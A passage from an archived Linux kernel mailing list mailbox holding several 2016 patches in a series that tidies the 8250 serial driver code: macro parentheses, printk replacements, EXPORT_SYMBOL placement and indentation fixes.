Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:42:01 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOUg-0005aT-H8
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:41:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754247AbcAMQjr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:47 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47006 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754193AbcAMQjn (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:43 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 5468458C4D8;
	Wed, 13 Jan 2016 17:39:41 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:41 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126009 gmane.linux.ports.parisc:26363
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126009>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.
=46urthermore redundant parentheses are removed in an assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 drivers/tty/serial/8250/8250_pci.c  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 15082ae..d042ad5 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 09157fa..433afdd 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -803,7 +803,7 @@ static int pci_netmos_9900_numports(struct pci_dev =
*dev)
 	unsigned int pi;
 	unsigned short sub_serports;
=20
-	pi =3D (c & 0xff);
+	pi =3D c & 0xff;
=20
 	if (pi =3D=3D 2)
 		return 1;
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 10/15] tty: serial: 8250: Suitably replace printk
Date: Wed, 13 Jan 2016 17:39:26 +0100
Lines: 160
Approved: news@gmane.org
Message-ID: <1452703171-5632-11-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703348 31809 80.91.229.3 (13 Jan 2016 16:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:42:28 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	=?UTF-8?q?Anton=20W=C3=BCr
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:42:15 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOUq-0005h4-AG
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:42:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754596AbcAMQl5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:41:57 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47006 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754219AbcAMQjq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:46 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id B2F0F58C4E5;
	Wed, 13 Jan 2016 17:39:43 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:43 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126010 gmane.linux.ports.parisc:26364
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126010>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch replaces printk by the corresponding variant of dev_* in ord=
er
to fix checkpatch warnings. If no suitable device pointer is present, t=
he
corresponding pr_* variant is used.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  7 ++++---
 drivers/tty/serial/8250/8250_hp300.c | 20 +++++++++++---------
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 4 files changed, 18 insertions(+), 17 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index b60b58b..d6b4906 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1094,9 +1094,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..b1e6ae9 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,7 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
+			dev_info(&dev->dev,
 				"Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
@@ -66,8 +66,9 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		dev_warn(&dev->dev,
+			"serial8250_register_8250_port returned error %d\n",
+			err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index cf566bb..38166db 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
 	} else {
@@ -127,7 +127,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("%s: early_serial_setup() failed.\n", __func__);
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -179,8 +179,9 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
-		       " irq %d failed\n", d->scode, uart.port.irq);
+		dev_notice(&d->dev,
+			  "8250_hp300: register_serial() DCA scode %d irq %d failed\n",
+			  d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
=20
@@ -260,8 +261,9 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
-			       " %d irq %d failed\n", i, uart.port.irq);
+			dev_notice(uart.port.dev,
+				   "8250_hp300: register_serial() APCI %d irq %d failed\n",
+				   i, uart.port.irq);
 			kfree(port);
 			continue;
 		}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 99f709c..343d050 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 06/15] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Wed, 13 Jan 2016 17:39:22 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1452703171-5632-7-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703365 32178 80.91.229.3 (13 Jan 2016 16:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:42:45 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:42:32 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOVA-0005tZ-9X
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:42:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754211AbcAMQjn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:43 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47006 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754146AbcAMQjl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:41 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id F3C3E58C4D2;
	Wed, 13 Jan 2016 17:39:38 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:38 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126011 gmane.linux.ports.parisc:26365
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126011>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..15082ae 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -763,6 +763,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
@@ -788,6 +789,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1167,9 +1169,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 02/15] tty: serial: 8250: Replace spaces with tabs
Date: Wed, 13 Jan 2016 17:39:18 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <1452703171-5632-3-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703372 32278 80.91.229.3 (13 Jan 2016 16:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:42:52 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:42:45 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOVO-000655-Mt
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:42:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754148AbcAMQjk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:40 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46915 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752217AbcAMQjh (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:37 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7FB2B58C4CA;
	Wed, 13 Jan 2016 17:39:34 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:34 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126012 gmane.linux.ports.parisc:26366
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126012>

Indentation is changed to match the correct format of using tabs instea=
d
of spaces wherever possible.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_port.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ccf43cb..7f9f245 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -721,7 +721,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -1763,7 +1763,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1863,8 +1863,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1873,8 +1873,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 7f3bd7b..f2e588e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2254,7 +2254,7 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
=20
 void
 serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+			  struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 07/15] tty: serial: 8250: Fix line continuation warning
Date: Wed, 13 Jan 2016 17:39:23 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1452703171-5632-8-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703381 32630 80.91.229.3 (13 Jan 2016 16:43:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:43:01 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:42:51 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOVP-000655-9R
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:42:43 +0100
